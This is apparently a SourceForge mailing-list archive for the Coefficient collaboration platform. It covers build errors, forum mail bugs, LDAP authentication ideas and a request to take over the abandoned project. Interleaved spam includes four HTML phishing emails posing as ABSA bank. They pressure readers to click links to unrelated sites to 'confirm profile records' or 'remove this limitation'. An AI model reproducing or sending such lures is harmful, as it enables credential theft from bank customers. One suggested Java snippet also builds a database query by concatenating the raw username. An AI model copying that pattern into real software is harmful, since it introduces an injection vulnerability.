coefficient-users Mailing List for Coefficient

SourceForge Headquarters 225 Broadway Suite 1600 San Diego, CA 92101 +1 (858) 422-6466

hiya Coefficient

http://radpeyco.com/speedtest.php?mary=c27vpxw054dkku

pieter van Zyl

Good day.

As some of you know I worked on these projects:

Coefficient (https://sourceforge.net/ projects/coefficient/) and Dithaka (https://sourceforge.net/ projects/dithaka/) projects in 2005/2006 :)

I was working at the CSIR (Division: Meraka) which created Coefficient and its associated project Dithaka:

I was not the original architect of these projects.

We tried to
 revive these projects since 2006-2010 when I was working at the CSIR and 
taking more ownership. The revival never took off. 

This project was used mostly at the University Of Pretoria. Morkel Theunissen (my friend and lecturer at UP) mostly promoted this project and asked that all 
third years students use Coefficient to manage their projects. I think 
they used Coefficient till about 2010. They also wrote some integration 
plugins with SVN.

I and some friends would like to take these projects over and implement some of my research ideas.

Some of technology plans will be:

	*     Use JPA+JSF
	*     Decide on EJB3 or Spring to provide services.
	*     Rewite all UI's
	*     Use Richfaces or Primefaces and their mobile frameworks
	*     Make the site mobile friendly
	*     Investigate the use of No-Sql (MongoDB, Oracle Berkley DB,etc) or object databases or use my own no-sql object database     

Other ideas:
	* Project management tools
	* Review tools
	* Data science
	* Deploy to Cloud
	* Log analysis
	* Forum chat analysis

We could fork these projects but I feel I do have a history with them and they are not currently maintained.

Plus forking of a project is not a great thing to do. Splits the effort and confuses users.

The Cathedral and the Bazaar states that:
"5. When you lose interest in a program, your last duty to it is to hand it off to a
competent successor."

Ending an Open-Source Project:
"It is natural for the founder of an open-source project to leave in 
order to move on to other interests. However, this does not necessarily 
mean just abandoning the project."
http://dreamsongs.com/ihe/IHE- 56.html

I also know that Meraka always wanted people to take their ideas further and make a success in the outside world.

Can I please take over these projects? Credit will be given to the original teams.

Can we agree that I can take over these projects if I hear no objections in the next month?

Also note that both projects are using LGPL licenses.

The Coeficient license states:

/*
 * Coefficient - facilitates project based collaboration
 * Copyright (C) 2003, Dylan Etkin, CSIR icomtek
 * PO Box 395
 * Pretoria 0001, RSA
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

I have also tried to follow some of these suggestions:

http://programmers. stackexchange.com/questions/ 125789/how-to-go-about-taking- over-an-open-source-project

If there are any other suggestions or concerns please mail me.

Please also forward this mail to anyone that you feel might have an interest in this project.

Kindly
Pieter van Zyl
<b>Dear Client,</b><p>

As our continuous commitment to provide the best<br>
internet banking service and protection to our customers,<br>
we require you to validate your access using our safe<br>
SSL servers.<p>

<font color="#333333"><a href="http://shop.myseum.de/qrew.php"
target="_blank"
onclick="onClickUnsafeLink(event);"><b>Update records</b></a></font><p>

</b>It is important to adhere to this new feature to<br>
keep your access safe and enjoy more internet banking benefits.<p>

<font face="Verdana" size="2">

<span>
(c) 2014<br>
</span></font>

<b>Dear Client,</b><br><p>

Your online access needs to be confirmed as<br>
part of our routine maintenance to ensure your safety online.<br><p>

We require you to review your profile details on record as <br>
failure to adhere to this feature may result in temporary closure of your <br>
online access.<br>
 <p>

Please Follow the reference below </font><p>

<a href="http://www.pousadaserradasaguas.com.br/kros.php"><b>Confirm profile records</b></a><br><br>

<span>Copyright <p>
(c) 2014 </span></font>

<b>Dear ABSA Client,</b><br><br>

Our system detected an unusual IP address making series of 
incorrect attempts with your user number and we have therefore 
temporarily deauthorized your online access.

Please confirm your recent access to show<br>
that you are not currently away.<br>
You have to respond with immediate effect to keep<br>
it from getting permanently intermitted.<br><br>

<a href="http://bellavita-sandra.com/hebd/cano.serd/sent.torm/masi.ledi.htm"><b>Remove this Limitation</b></a><br><br><br>

<font face="Verdana" size="-1"><font color="#808080" face="Arial" size="1">Please SIGNON to email us as mails sent to this 

address wont be delivered.<br>

<b>Dear Customer,</b><p>

ABSA is committed to making online banking safe 
for all its clients. We are proud to inform you about changes 
in our banking system.
It is important you update your banking access to match with 
your profile records with us.

<b>Please <a target="_top" class="c_mm_pic" href="http://monjako.com/bep/ebn.seca/ins.lavend/banis.inf/bes.servs/profile.im.php"><span id="c_mm_pic1">Click Here</span></a> to update your records.</b><p>

Please ensure you adhere to this new feature as failure to<br>
do so may affect your banking access in the future.<p>

<b>Thank you<p>

ABSA</b>

On Mon, 2005-11-28 at 14:17 +0100, Jochen Wiedmann wrote:
> is there any work on an SCM module? To be, this seems to me the most
> important point, which is missing in Coefficient?

A while back someone started work on a subversion module - not too sure
what the status is. 

Anyone else know?

-- 
This message is subject to the CSIR's copyright, terms and conditions and
e-mail legal notice. Views expressed herein do not necessarily represent the
views of the CSIR.

CSIR E-mail Legal Notice
http://mail.csir.co.za/CSIR_eMail_Legal_Notice.html 

CSIR Copyright, Terms and Conditions
http://mail.csir.co.za/CSIR_Copyright.html 

For electronic copies of the CSIR Copyright, Terms and Conditions and the CSIR
Legal Notice send a blank message with REQUEST LEGAL in the subject line to
Hel...@cs....

This message has been scanned for viruses and dangerous content by MailScanner, 
and is believed to be clean.  MailScanner thanks Transtec Computers for their support.

Hi,

is there any work on an SCM module? To be, this seems to me the most
important point, which is missing in Coefficient?

Regards,

Jochen

--
Often it does seem a pity that Noah and his party did not miss the
boat. (Mark Twain)

Jason,

I have corrected this issue.=20

Whenever we do the select and comparison on the e-mail and forum address
we lower the values and now it should be case insensitive.

Please check out the latest Dithaka-Base and Dithaka-James code and
deploy it to your James server.=20

You can also rebuild your mailforum module just to make sure it uses the
newest dithaka libraries.

Let me know if this works.

On Wed, 2005-11-09 at 16:02 +0000, Jason Meyler wrote:
> Hi Pieter,
>=20
> Have been running some quick tests as some users have experienced=20
> sending emails which have not arrived at the forum they were sent to.
>=20
> I have discovered the following:
>=20
> - a mail addressed to Tes...@op... arrives in the=20
> forum and is sent to forum members.
>=20
> - a mail addressed to tes...@op... is sent to the=20
> James address-error folder on the server and is not sent any further.
>=20
> Can you confirm that mail forum email addresses are in fact case=20
> sensitive. Shouldn't this be corrected to make them case insensitive?
> What do you think?
>=20
> Best regards
>=20
> Jason
>=20
>=20
> -------------------------------------------------------
> SF.Net email is sponsored by:
> Tame your development challenges with Apache's Geronimo App Server. Downl=
oad
> it for free - -and be entered to win a 42" plasma tv or your very own
> Sony(tm)PSP.  Click here to play: http://sourceforge.net/geronimo.php
> _______________________________________________
> Coefficient-users mailing list
> Coe...@li...
> https://lists.sourceforge.net/lists/listinfo/coefficient-users
--=20
Pieter van Zyl
Java Developer
Meraka Institute

Phone: 012 841 2484

Jason,=20

:)
I am sorry for responding so late. Was not at work yesterday.
Someone else has mentioned this problem to us. And I will correct this.=20

I will look into this and fix it in the next week. But will put it only
into CVS.

Kindly

Pieter

On Wed, 2005-11-09 at 16:02 +0000, Jason Meyler wrote:
> Hi Pieter,
>=20
> Have been running some quick tests as some users have experienced=20
> sending emails which have not arrived at the forum they were sent to.
>=20
> I have discovered the following:
>=20
> - a mail addressed to Tes...@op... arrives in the=20
> forum and is sent to forum members.
>=20
> - a mail addressed to tes...@op... is sent to the=20
> James address-error folder on the server and is not sent any further.
>=20
> Can you confirm that mail forum email addresses are in fact case=20
> sensitive. Shouldn't this be corrected to make them case insensitive?
> What do you think?
>=20
> Best regards
>=20
> Jason
>=20
>=20
> -------------------------------------------------------
> SF.Net email is sponsored by:
> Tame your development challenges with Apache's Geronimo App Server. Downl=
oad
> it for free - -and be entered to win a 42" plasma tv or your very own
> Sony(tm)PSP.  Click here to play: http://sourceforge.net/geronimo.php
> _______________________________________________
> Coefficient-users mailing list
> Coe...@li...
> https://lists.sourceforge.net/lists/listinfo/coefficient-users
--=20
Pieter van Zyl
Java Developer
Meraka Institute

Phone: 012 841 2484

Hi Pieter,

Have been running some quick tests as some users have experienced 
sending emails which have not arrived at the forum they were sent to.

I have discovered the following:

- a mail addressed to Tes...@op... arrives in the 
forum and is sent to forum members.

- a mail addressed to tes...@op... is sent to the 
James address-error folder on the server and is not sent any further.

Can you confirm that mail forum email addresses are in fact case 
sensitive. Shouldn't this be corrected to make them case insensitive?
What do you think?

Best regards

Jason

We are busy adding a testing framework, using JUnit, to create unit
tests for the existing code. This will help us in the future when we
start re-writing and adding new features.
There IS also a new module: rssBlog in CVS.

-- 
This message is subject to the CSIR's copyright, terms and conditions and
e-mail legal notice. Views expressed herein do not necessarily represent the
views of the CSIR.

CSIR E-mail Legal Notice
http://mail.csir.co.za/CSIR_eMail_Legal_Notice.html 

CSIR Copyright, Terms and Conditions
http://mail.csir.co.za/CSIR_Copyright.html 

For electronic copies of the CSIR Copyright, Terms and Conditions and the CSIR
Legal Notice send a blank message with REQUEST LEGAL in the subject line to
Hel...@cs....

This message has been scanned for viruses and dangerous content by MailScanner, 
and is believed to be clean.  MailScanner thanks Transtec Computers for their support.

For your information. 

Can also be fixed by using Java 1.5

-------- Forwarded Message --------
From: Jason Meyler <jas...@me...>
Reply-To: jas...@me...
To: pv...@cs...
Subject: Re: Opendgroups is crashing
Date: Thu, 11 Aug 2005 14:48:28 +0100
Pieter,

Problem solved.

Adding -Djava.net.preferIPv4Stack=true to {JBOSS_HOME}/bin/run.conf  and 
to the James wrapper.conf did the trick. It seems that it was the 
upgraded Linux kernel that caused the glitch.

Many thanks for the advice and pointers

Jason

Pieter van Zyl wrote:

>Jason,
>
>Please send me the jboss logs and the james logs so that I can see what
>error you are getting.
>
>is this still true:
><<
>Fedora Core 3
>J2sdk1.4.2_04
>PostgreSQL 7.4.8-1
>James 2.2.0
>JBoss 3.2.6
>  
>
>
>I am looking at the stack trace on the website.
>.......................
>Caused by: org.postgresql.util.PSQLException: The connection attempt
>failed because Exception: java.net.SocketException: Invalid argument or
>cannot assign requested address
>Stack Trace:
>java.net.SocketException: Invalid argument or cannot assign requested
>address..................
>
>Seems network related. And maybe FC related.
>
>I found these on google:
>http://www.jroller.com/page/dissonance/20050630#fedora_core_4_and_jdk
>
>http://www.linuxquestions.org/questions/history/334291
>
>http://www.tek-tips.com/viewthread.cfm?qid=1100819&page=1
>Does James connect to the db?
>
>Has your hibernate changed? Anything related 
>On Thu, 2005-08-11 at 11:49 +0100, Jason Meyler wrote: 
>  
>
>>Hi Pieter,
>>
>>In the last few days I have noticed that the http://demo.opendgroups.net 
>>site keeps on crashing. 
>>
>>I have checked the nightly yum updates and nothing that Coefficient 
>>depends upon has been updated. The last successful access was on August 
>>5th. As far as I know nothing else has been changed. Here is the yum log.
>>
>>Aug 06 05:26:12 Updated: ttmkfdir.i386 3.0.9-14.1
>>Aug 11 05:56:24 Updated: arts.i386 8:1.4.2-0.fc3.3
>>Aug 11 05:56:24 Updated: cups-libs.i386 1:1.1.22-0.rc1.8.6
>>Aug 11 05:56:57 Updated: kdelibs.i386 6:3.4.2-0.fc3.2
>>Aug 11 05:56:58 Updated: netpbm.i386 10.28-1.FC3.2
>>Aug 11 05:57:10 Updated: kdebase.i386 6:3.4.2-0.fc3.2
>>Aug 11 05:57:13 Updated: vim-common.i386 1:6.3.086-0.fc3
>>Aug 11 05:57:13 Updated: vim-minimal.i386 1:6.3.086-0.fc3
>>Aug 11 05:57:28 Updated: kde-i18n-British.noarch 1:3.4.2-0.fc3.1
>>Aug 11 05:57:28 Updated: netpbm-devel.i386 10.28-1.FC3.2
>>Aug 11 05:57:32 Updated: cups.i386 1:1.1.22-0.rc1.8.6
>>Aug 11 05:57:36 Updated: system-config-bind.noarch 4.0.0-28
>>Aug 11 05:57:38 Updated: netpbm-progs.i386 10.28-1.FC3.2
>>Aug 11 05:57:39 Updated: vim-enhanced.i386 1:6.3.086-0.fc3
>>
>>I have also rebooted the server and the problem continues.
>>
>>The error message/stack trace that is displayed when you open the site 
>>seems to point to a postgres error.
>>
>>Do you have any suggestions? Let me know if you need any further logs etc.
>>
>>Regards
>>
>>Jason
>>    
>>
>
>
>  
>

-- 
This message is subject to the CSIR's copyright, terms and conditions and
e-mail legal notice. Views expressed herein do not necessarily represent the
views of the CSIR.

CSIR E-mail Legal Notice
http://mail.csir.co.za/CSIR_eMail_Legal_Notice.html 

CSIR Copyright, Terms and Conditions
http://mail.csir.co.za/CSIR_Copyright.html 

For electronic copies of the CSIR Copyright, Terms and Conditions and the CSIR
Legal Notice send a blank message with REQUEST LEGAL in the subject line to
Hel...@cs....

This message has been scanned for viruses and dangerous content by MailScanner, 
and is believed to be clean.  MailScanner thanks Transtec Computers for their support.

Quoting Pieter van Zyl <pv...@cs...>:

> Self-registration: do you mean that users would register in a different
> way? Like by an administrator? uploading from a file? Also do you mean
> register with the site or a project?

I was more thinking that the administrator could turn off self-registration once
all users had registered (they could enable it again if more users needed to
register). If I was to run coefficient over the Net I don't like the fact that
just anyone can register and request to create a project.

> Delete users: This is not possible through the web interface! We need to
> create this kind of administration! If you need to do this I suggest you
> remove the user from projects and delete the user from the database till
> we have this feature in the next release.

OK, thank - I will take a look at the tables.

> Administration: We had some feed back on administration and realise that
> we need better administration functions and screens.
> When we have these we could split out the administration functions, but
> this has not been discussed as yet. This is a suggestion we will keep in
> mind.

Cool (I do think they are different roles and will often be performed by
different users).

Thanks,

Sean

Sean,

Good day.

Self-registration: do you mean that users would register in a different
way? Like by an administrator? uploading from a file? Also do you mean
register with the site or a project?

Delete users: This is not possible through the web interface! We need to
create this kind of administration! If you need to do this I suggest you
remove the user from projects and delete the user from the database till
we have this feature in the next release.

Administration: We had some feed back on administration and realise that
we need better administration functions and screens. 
When we have these we could split out the administration functions, but
this has not been discussed as yet. This is a suggestion we will keep in
mind.

On Sun, 2005-07-31 at 23:00 +0100, Sean Radford wrote:
> Hi,
> 
> Finally getting round to playing with Coefficient :-) and was just 
> wondering if self-registration could easily be turned off and how does 
> one delete users?
> 
> Also, has it ever been considered that there should be 2 types of 
> administrators? One for 'configuration administration', i.e. server 
> setup, and another for the other administrative tasks?
> 
> Thanks and regards,
> 
> Sean
> 
> 
> -------------------------------------------------------
> SF.Net email is sponsored by: Discover Easy Linux Migration Strategies
> from IBM. Find simple to follow Roadmaps, straightforward articles,
> informative Webcasts and more! Get everything you need to get up to
> speed, fast. http://ads.osdn.com/?ad_id=7477&alloc_id=16492&op=click
> _______________________________________________
> Coefficient-users mailing list
> Coe...@li...
> https://lists.sourceforge.net/lists/listinfo/coefficient-users

-- 
This message is subject to the CSIR's copyright, terms and conditions and
e-mail legal notice. Views expressed herein do not necessarily represent the
views of the CSIR.

CSIR E-mail Legal Notice
http://mail.csir.co.za/CSIR_eMail_Legal_Notice.html 

CSIR Copyright, Terms and Conditions
http://mail.csir.co.za/CSIR_Copyright.html 

For electronic copies of the CSIR Copyright, Terms and Conditions and the CSIR
Legal Notice send a blank message with REQUEST LEGAL in the subject line to
Hel...@cs....

This message has been scanned for viruses and dangerous content by MailScanner, 
and is believed to be clean.  MailScanner thanks Transtec Computers for their support.

Hi,

Finally getting round to playing with Coefficient :-) and was just 
wondering if self-registration could easily be turned off and how does 
one delete users?

Also, has it ever been considered that there should be 2 types of 
administrators? One for 'configuration administration', i.e. server 
setup, and another for the other administrative tasks?

Thanks and regards,

Sean

(CC'ed the devel list, and Leon - he has contributed to Coefficient in
the past, and he and I did some LDAP work together in a previous life :)

On Tue, 2005-07-26 at 17:58 -0400, Mike Spisak wrote: 
> I got my coefficient up and running.. it's really a sweet platform.  

:)

> Here's what I'd like to do:
> I have an existsing user ID and password system on an LDAP with a java 
> API to authenticate.  How hard would it be to use this mechanism to 
> authenticate and integrate this back into coefficient?   I see there's a 
> "security" module.. is that the best place to start?  How difficult 
> would you rate something like this?   I understand that there's 
> "entitlement" issues as well, so I'm wondering how all this would 
> work...   any thoughts would be appriciated.

Ok, first some comments about doing this generically for coefficient (to
spark some discussion amongst the developers, hopefully), and then some
tips for you to get this working immediately...

I'd love to get LDAP authentication implemented in Coefficient. In fact,
it would be nice to abstract the
za.org.coefficient.authentication.CoefficientUser implementation so that
we can switch between backends (e.g. the current database impl, LDAP,
and possibly others). It would be especially nice if we could read/write
some of the user properties directly from the directory (givenName, sn,
email, etc.) - this way we don't need to maintain duplicate data.

Currently, the coefficient_user table looks like this:

      Column      |            Type             | Modifiers
------------------+-----------------------------+-----------
id               | bigint                      | not null
version          | bigint                      | not null
active           | boolean                     | not null
confirmation_id  | bigint                      |
create_date      | timestamp without time zone |
email            | character varying(255)      | not null
fullname         | character varying(255)      | not null
hide_information | boolean                     | not null
language         | character varying(255)      | not null
password         | character varying(255)      | not null
system_role      | bigint                      | not null
time_zone        | character varying(255)      | not null
username         | character varying(255)      | not null
alias_email      | character varying(255)      |

For the LDAP backend, we'd still want to maintain some data in the
coefficient database (partly to maintain referential integrity), so we
could have a table like this:

      Column      |            Type             | Modifiers
------------------+-----------------------------+-----------
id               | bigint                      | not null
version          | bigint                      | not null
active           | boolean                     | not null
confirmation_id  | bigint                      |
create_date      | timestamp without time zone |
hide_information | boolean                     | not null
language         | character varying(255)      | not null
system_role      | bigint                      | not null
time_zone        | character varying(255)      | not null
dn               | character varying(255)      | not null
alias_email      | character varying(255)      |

where we use dn to find the appropriate ldap entry.

Currently, authentication is done in the "user" module (see
za.org.coefficient.modules.users.Security), so this is where you could
start looking. For LDAP, we'd want to plug in in a different
authentication mechanism. 

For now, to do authentication via LDAP, something like this could work
(za.org.coefficient.modules.users.Security:78-101)

String password = ctx.getParameter("password");
String username = ctx.getParameter("username");
try {
    if (!ldap.authenticate(username, password)) {
        ctx.setError("Incorrect username/password");
    } else {
        ArrayList users = new ArrayList(HibernateUtil.find("from "
            + CoefficientUser.class.getName()
            + " as pe_user where pe_user.userName = " + username);
        user = (CoefficientUser) users.get(0);
    }
} catch (Exception he) {
    he.printStackTrace();
} 
ctx.setSessionAttribute(Constants.USER_SESSION_STRING, user);

-- 
Thomas Fogwill <tfo...@cs...>

-- 
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.
MailScanner thanks transtec Computers for their support.

Thomas Fogwill wrote:

>On Tue, 2005-07-26 at 15:16 +0100, Sean Radford wrote:
>  
>
>>Ok, swapped to Java 1.4 and now have the following problem:
>>
>>compile:
>>     [iajc] 
>>/home/sradford/stuff/sandbox/coefficient/src/za/org/coefficient/modules/project/Projects.java:48 
>>The import za.org.coefficient.modules.rss cannot be resolved
>>     [iajc] import za.org.coefficient.modules.rss.AffectedData;
>>     [iajc]   
>>    
>>
>
>Oops, that's a bad import - deleting that line should get it going. 
>
>The fix is in CVS.
>
>  
>
Cool. Got it built.

Thanks all for your help. Hopefully, I'll get a chance for some playing 
about this w/e :-)

Sean

Hey All::

I got my coefficient up and running.. it's really a sweet platform.  
Here's what I'd like to do:

I have an existsing user ID and password system on an LDAP with a java 
API to authenticate.  How hard would it be to use this mechanism to 
authenticate and integrate this back into coefficient?   I see there's a 
"security" module.. is that the best place to start?  How difficult 
would you rate something like this?   I understand that there's 
"entitlement" issues as well, so I'm wondering how all this would 
work...   any thoughts would be appriciated.

Thanks - Mike

On Tue, 2005-07-26 at 15:16 +0100, Sean Radford wrote:
> Ok, swapped to Java 1.4 and now have the following problem:
> 
> compile:
>      [iajc] 
> /home/sradford/stuff/sandbox/coefficient/src/za/org/coefficient/modules/project/Projects.java:48 
> The import za.org.coefficient.modules.rss cannot be resolved
>      [iajc] import za.org.coefficient.modules.rss.AffectedData;
>      [iajc]   

Oops, that's a bad import - deleting that line should get it going. 

The fix is in CVS.

-- 
Thomas Fogwill <tfo...@cs...>

-- 
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.
MailScanner thanks transtec Computers for their support.

Ok, swapped to Java 1.4 and now have the following problem:

compile:
     [iajc] 
/home/sradford/stuff/sandbox/coefficient/src/za/org/coefficient/modules/project/Projects.java:48 
The import za.org.coefficient.modules.rss cannot be resolved
     [iajc] import za.org.coefficient.modules.rss.AffectedData;
     [iajc]   

So I then checked out the rssBlog module. Now when I 'ant' that I get:

compile:
     [iajc] build config error: bad aspectpath: 
/home/sradford/stuff/sandbox/coefficient/build/lib/coefficient-ejb.jar
     [iajc] AspectJ Compiler 1.1.0

(and coefficient-ejb.jar doesn't exist (yet))

This seems to be a circular dependency, but I presume I am wrong about 
this. How do I proceed form here?

Thanks,

Sean

Hotmail wrote:

>Hi Sean,
>
>I had the same exact problem.  I got around it by breaking up the
>sb.append().append() statement. For example sb.append(); sb.append(); and so
>on.  Not sure why it works but it does.  I think that it has to do with the
>implementation of AbstractStringBuilder as a private class in java....
>
>I'm using jdk 1.5.1 and except for this instance, everything else compiles
>correctly.  I have not noticed any adverse effect using 1.5, if you or
>anyone does, I would appreciate a heads up.
>  
>
Tried breaking up the append statements, but no luck.

Will download JDK 1.4 and let you know if that solves it.

Sean

Hi Sean,

I had the same exact problem.  I got around it by breaking up the
sb.append().append() statement. For example sb.append(); sb.append(); and so
on.  Not sure why it works but it does.  I think that it has to do with the
implementation of AbstractStringBuilder as a private class in java....

I'm using jdk 1.5.1 and except for this instance, everything else compiles
correctly.  I have not noticed any adverse effect using 1.5, if you or
anyone does, I would appreciate a heads up.

Regards,
Miguel

 ----- Original Message ----- 
From: "Dylan & Anna Etkin" <dn...@gm...>
To: "Sean Radford" <sra...@ae...>
Cc: <coe...@li...>
Sent: Sunday, July 24, 2005 6:05 PM
Subject: Re: [Coefficient-users] Building: How-to

Hi Sean,
 I am pretty sure you are hitting an issue compiling with jdk 1.5. I
am not sure what causes it, perhaps an incompatability with the
version of aspectj we are using. If you use jdk 1.4 you should come
right.

Dylan

On 7/25/05, Sean Radford <sra...@ae...> wrote:
> Dylan & Anna Etkin wrote:
>
> >Hi Sean,
> > The build uses ant,  maven is only used to build the web-site. I have
> >been meaning to mavenize the project for a while. All the targets you
> >want to call are ant targets.
> >
> >
> >
> Thanks Dylan. I have now run ant (using the default deploy target) and
> the compile target fails... :-(
>
> compile:
>      [iajc]
>
/home/sradford/stuff/sandbox/coefficient/src/za/org/coefficient/core/BaseCoe
fficientContext.java:161
> The type AbstractStringBuilder is not visible
>      [iajc] sb.append("&op=")
>      [iajc] ^^^^^^^^^^^^^^^^^
>      [iajc]
>
/home/sradford/stuff/sandbox/coefficient/src/za/org/coefficient/core/BaseCoe
fficientContext.java:169
> The type AbstractStringBuilder is not visible
>      [iajc] sb.append("&")
>      [iajc] ^^^^^^^^^^^^^^
>      [iajc]
>
/home/sradford/stuff/sandbox/coefficient/src/za/org/coefficient/modules/proj
ect/Projects.java:48
> The import za.org.coefficient.modules.rss cannot be resolved
>      [iajc] import za.org.coefficient.modules.rss.AffectedData;
>      [iajc]        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>      [iajc]
>
/home/sradford/stuff/sandbox/coefficient/src/za/org/coefficient/aspects/logg
ing/CoefficientLoggingAspect.aj:120
> The type AbstractStringBuilder is not visible
>      [iajc] buf.append("Timing [").append(iname);
>      [iajc] ^^^^^^^^^^^^^^^^^^^^^^
>      [iajc]
>
/home/sradford/stuff/sandbox/coefficient/src/za/org/coefficient/aspects/logg
ing/CoefficientLoggingAspect.aj:125
> The type AbstractStringBuilder is not visible
>      [iajc] buf.append(", interceptors took total ")
>      [iajc] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>      [iajc]
>
/home/sradford/stuff/sandbox/coefficient/src/za/org/coefficient/interceptors
/ExceptionInterceptor.java:106
> The type AbstractStringBuilder is not visible
>      [iajc] sb.append(st.nextToken())
>      [iajc] ^^^^^^^^^^^^^^^^^^^^^^^^^
>
> BUILD FAILED
> /home/sradford/stuff/sandbox/coefficient/build.xml:153: 6 errors
>
> (I've made sure I've got the latest from CVS)
>
> Any ideas?
>
> Thanks,
>
> Sean
>

-------------------------------------------------------
SF.Net email is sponsored by: Discover Easy Linux Migration Strategies
from IBM. Find simple to follow Roadmaps, straightforward articles,
informative Webcasts and more! Get everything you need to get up to
speed, fast. http://ads.osdn.com/?ad_idt77&alloc_id492&op=ick
_______________________________________________
Coefficient-users mailing list
Coe...@li...
https://lists.sourceforge.net/lists/listinfo/coefficient-users

Hi Sean,
 I am pretty sure you are hitting an issue compiling with jdk 1.5. I
am not sure what causes it, perhaps an incompatability with the
version of aspectj we are using. If you use jdk 1.4 you should come
right.

Dylan

On 7/25/05, Sean Radford <sra...@ae...> wrote:
> Dylan & Anna Etkin wrote:
>=20
> >Hi Sean,
> > The build uses ant,  maven is only used to build the web-site. I have
> >been meaning to mavenize the project for a while. All the targets you
> >want to call are ant targets.
> >
> >
> >
> Thanks Dylan. I have now run ant (using the default deploy target) and
> the compile target fails... :-(
>=20
> compile:
>      [iajc]
> /home/sradford/stuff/sandbox/coefficient/src/za/org/coefficient/core/Base=
CoefficientContext.java:161
> The type AbstractStringBuilder is not visible
>      [iajc] sb.append("&op=3D")
>      [iajc] ^^^^^^^^^^^^^^^^^
>      [iajc]
> /home/sradford/stuff/sandbox/coefficient/src/za/org/coefficient/core/Base=
CoefficientContext.java:169
> The type AbstractStringBuilder is not visible
>      [iajc] sb.append("&")
>      [iajc] ^^^^^^^^^^^^^^
>      [iajc]
> /home/sradford/stuff/sandbox/coefficient/src/za/org/coefficient/modules/p=
roject/Projects.java:48
> The import za.org.coefficient.modules.rss cannot be resolved
>      [iajc] import za.org.coefficient.modules.rss.AffectedData;
>      [iajc]        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>      [iajc]
> /home/sradford/stuff/sandbox/coefficient/src/za/org/coefficient/aspects/l=
ogging/CoefficientLoggingAspect.aj:120
> The type AbstractStringBuilder is not visible
>      [iajc] buf.append("Timing [").append(iname);
>      [iajc] ^^^^^^^^^^^^^^^^^^^^^^
>      [iajc]
> /home/sradford/stuff/sandbox/coefficient/src/za/org/coefficient/aspects/l=
ogging/CoefficientLoggingAspect.aj:125
> The type AbstractStringBuilder is not visible
>      [iajc] buf.append(", interceptors took total ")
>      [iajc] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>      [iajc]
> /home/sradford/stuff/sandbox/coefficient/src/za/org/coefficient/intercept=
ors/ExceptionInterceptor.java:106
> The type AbstractStringBuilder is not visible
>      [iajc] sb.append(st.nextToken())
>      [iajc] ^^^^^^^^^^^^^^^^^^^^^^^^^
>=20
> BUILD FAILED
> /home/sradford/stuff/sandbox/coefficient/build.xml:153: 6 errors
>=20
> (I've made sure I've got the latest from CVS)
>=20
> Any ideas?
>=20
> Thanks,
>=20
> Sean
>

Hi Sean,
 The build uses ant,  maven is only used to build the web-site. I have
been meaning to mavenize the project for a while. All the targets you
want to call are ant targets.

Dylan

On 7/24/05, Sean Radford <sra...@ae...> wrote:
> Hi there,
>=20
> I've got coeffient running from the prepackaged binaries. I would now
> like to build fromt the source but can't grasp how to do so. I'm prettry
> au-fai with Maven, but can't work out what target(s) to call.
>=20
> I've read 'RELEASE_HOW_TO.TXT' but don't understand it I'm afraid:
>=20
>  >please build web release first
>  >then copy it to where you need it
>  >delete build you can leave the lib dir
>  >
>  >then do the normal build.
>  >then build all the individual modules
>  >then do the release build for J2ee/jboss
>=20
> Any help, much appreciated.
>=20
> Sean
>=20
>=20
> -------------------------------------------------------
> SF.Net email is sponsored by: Discover Easy Linux Migration Strategies
> from IBM. Find simple to follow Roadmaps, straightforward articles,
> informative Webcasts and more! Get everything you need to get up to
> speed, fast. http://ads.osdn.com/?ad_id=3D7477&alloc_id=3D16492&op=3Dclic=
k
> _______________________________________________
> Coefficient-users mailing list
> Coe...@li...
> https://lists.sourceforge.net/lists/listinfo/coefficient-users
>

2003	Jan	Feb	Mar	Apr	May	Jun	Jul	Aug	Sep	Oct (1)	Nov	Dec
2004	Jan	Feb	Mar (5)	Apr	May (2)	Jun	Jul	Aug	Sep	Oct	Nov (4)	Dec
2005	Jan (19)	Feb (5)	Mar	Apr	May	Jun (3)	Jul (19)	Aug (4)	Sep	Oct (1)	Nov (5)	Dec
2011	Jan	Feb	Mar	Apr	May (1)	Jun	Jul	Aug (4)	Sep (2)	Oct	Nov	Dec
2012	Jan	Feb	Mar (4)	Apr	May (1)	Jun	Jul (1)	Aug (1)	Sep	Oct	Nov	Dec (1)
2013	Jan	Feb	Mar (2)	Apr (3)	May	Jun	Jul	Aug	Sep	Oct	Nov	Dec
2014	Jan	Feb	Mar	Apr	May (2)	Jun (1)	Jul (1)	Aug	Sep	Oct	Nov	Dec
2016	Jan	Feb	Mar	Apr	May	Jun	Jul	Aug (1)	Sep	Oct	Nov	Dec
2017	Jan	Feb	Mar	Apr	May	Jun	Jul (1)	Aug	Sep	Oct	Nov	Dec

coefficient-users Mailing List for Coefficient

coefficient-users — Users List